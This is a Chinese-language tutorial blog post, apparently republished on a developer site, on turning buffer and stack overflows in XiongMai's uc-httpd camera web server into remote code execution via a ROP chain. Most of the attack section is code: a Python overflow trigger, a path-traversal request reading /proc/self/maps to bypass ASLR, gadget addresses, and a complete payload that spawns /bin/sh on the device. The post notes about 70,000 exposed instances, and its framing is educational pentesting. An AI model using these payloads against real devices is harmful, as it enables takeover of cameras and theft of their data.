嵌入式设备安全:ROP(Return-Oriented Programming)实现远程代码执行(RCE)

本文讲述了如何通过ROP技术利用一个嵌入式设备中的漏洞实现远程代码执行(RCE)。我们以XiongMai的uc-httpd轻量级Web服务器为例,详细解析了漏洞利用过程,并提供了实际的代码示例。以下内容将用更简单的方式解释技术知识点,并结合实际案例帮助理解。


背景与目标

在渗透测试中,发现一个漏洞(如XSS或配置错误)往往只是第一步,最终目标通常是实现RCE。在本文中,我们针对uc-httpd服务器的漏洞,展示如何从一个简单的缓冲区溢出发展到完整的RCE。


漏洞分析

目标软件:

uc-httpd 是运行在许多IP摄像头上的轻量级Web服务器。通过Shodan搜索发现,大约有70,000个实例暴露在互联网上。

已知漏洞:

  • CVE-2018-10088:缓冲区溢出,但现有的利用代码仅能导致崩溃。
  • CVE-2022-45460:路径拼接导致堆栈溢出。

缓冲区溢出示例

以下代码片段展示了如何将HTTP请求中的用户名和密码拷贝到固定长度的缓冲区中:

c 复制代码
strcpy(&DATA_USERNAME, substring + 9); // 用户名缓冲区长度为20字节
strcpy(&DATA_PASSWORD, substring + 9); // 密码缓冲区长度为20字节

如果输入超过20字节,就会导致缓冲区溢出,从而覆盖程序内存中的其他数据,例如函数指针。

堆栈溢出示例

另一个漏洞出现在路径拼接时:

c 复制代码
sprintf(filepath, "%s/%s", "/usr/mobile", uri);

这里uri是用户可控的输入,没有进行长度检查,可能导致堆栈变量filepath被覆盖,并最终修改函数返回地址。


调试环境搭建

为了分析和调试,我们需要:

  1. 获取目标设备上的二进制文件。
  2. 使用QEMU模拟ARM架构或直接在树莓派上运行调试环境。

以下是树莓派上的调试设置步骤:

bash 复制代码
# 挂载伪文件系统
sudo mount --bind /proc/ rootfs/proc

# 进入chroot环境
sudo chroot rootfs/ sh

# 启动gdbserver
./gdbserver :8888 Sofia

在本地使用gdb-multiarch连接到远程调试:

bash 复制代码
gdb-multiarch
gef➤ gef-remote 192.168.2.2 8888

ROP链构建

ROP是一种利用程序中已有代码片段(称为"gadgets")来执行任意指令的技术。以下是ROP链的核心步骤:

1. 漏洞触发

通过发送特定格式的HTTP请求触发堆栈溢出:

python 复制代码
import socket

payload = b"A" * 304 + b"BBBB"  # 填充数据+覆盖返回地址

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
    sock.connect(("192.168.1.100", 80))
    sock.send(b"GET /" + payload + b".mns.cab HTTP/1.1\r\n\r\n")
    print(sock.recv(1024))

2. ASLR绕过

通过路径遍历漏洞读取/proc/self/maps,获取动态库加载地址:

python 复制代码
import requests

response = requests.get("http://192.168.1.100/../../../../proc/self/maps")
print(response.text)

3. 寻找Gadgets

使用工具如Ropper找到ROP所需的指令片段。例如:

bash 复制代码
ropper --file Sofia --search "pop {r3, pc}"

找到以下gadgets:

  • 0x000175cc: pop {r3, pc}
  • 0x000535e8: system
  • 0x000368dc: mov r0, sp; blx r3

4. 构建ROP链

目标是调用system("/bin/sh"),以下是Python代码示例:

python 复制代码
from struct import pack

libc_base = 0x400000  # 假设libc基地址已知

payload = b"A" * 304  # 填充数据
payload += pack("<I", libc_base + 0x175cc)  # pop {r3, pc}
payload += pack("<I", libc_base + 0x535e8)  # system地址
payload += pack("<I", libc_base + 0x368dc)  # mov r0, sp; blx r3

# 将命令放入堆栈
payload += b"/bin/sh\x00"

# 发送Payload
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
    sock.connect(("192.168.1.100", 80))
    sock.send(b"GET /" + payload + b".mns.cab HTTP/1.1\r\n\r\n")
    print(sock.recv(1024))

实际应用场景

这种技术可以用来:

  1. 渗透测试中验证系统安全性。
  2. 演示嵌入式设备中常见漏洞的危害。

案例: 假设目标设备是一台IP摄像头,通过上述方法可以获取设备的远程Shell权限,进一步控制摄像头或提取敏感数据。


总结

本文展示了从漏洞分析到ROP链构建再到最终实现RCE的完整过程。通过这些步骤,我们不仅能够深入理解嵌入式设备中的安全问题,还能学习如何有效利用工具和技术解决实际问题。

相关推荐
寻月隐君8 分钟前
Python 数据结构与算法:课程笔记与实战解析
后端·python·github
云雨雪21 分钟前
朋友,你也不想不懂RPC的事情被同事发现吧?(附DEMO,快来玩!)
后端·微服务·rpc
梦兮林夕27 分钟前
深入浅出 Gin 路由管理:从基础到最佳实践
后端·go·gin
桂月二二30 分钟前
云原生容器编排:Kubernetes的架构演进与实践
云原生·架构·kubernetes
李豆豆喵34 分钟前
第42天:WEB攻防-PHP应用&MYSQL架构&SQL注入&跨库查询&文件读写&权限操作
sql·mysql·架构
Seven9734 分钟前
【设计模式】告别冗长if-else语句:使用策略模式优化代码结构
java·后端·设计模式
梦醒沉醉1 小时前
Scala的初步使用
开发语言·后端·scala
重庆穿山甲1 小时前
建造者模式实战指南:场景案例+实战代码,新手也能快速上手
后端
小安同学iter1 小时前
Spring(七)AOP-代理模式
java·后端·spring
HelloGitHub1 小时前
经过 10 亿级性能验证的隐私计算开源利器
python·开源·github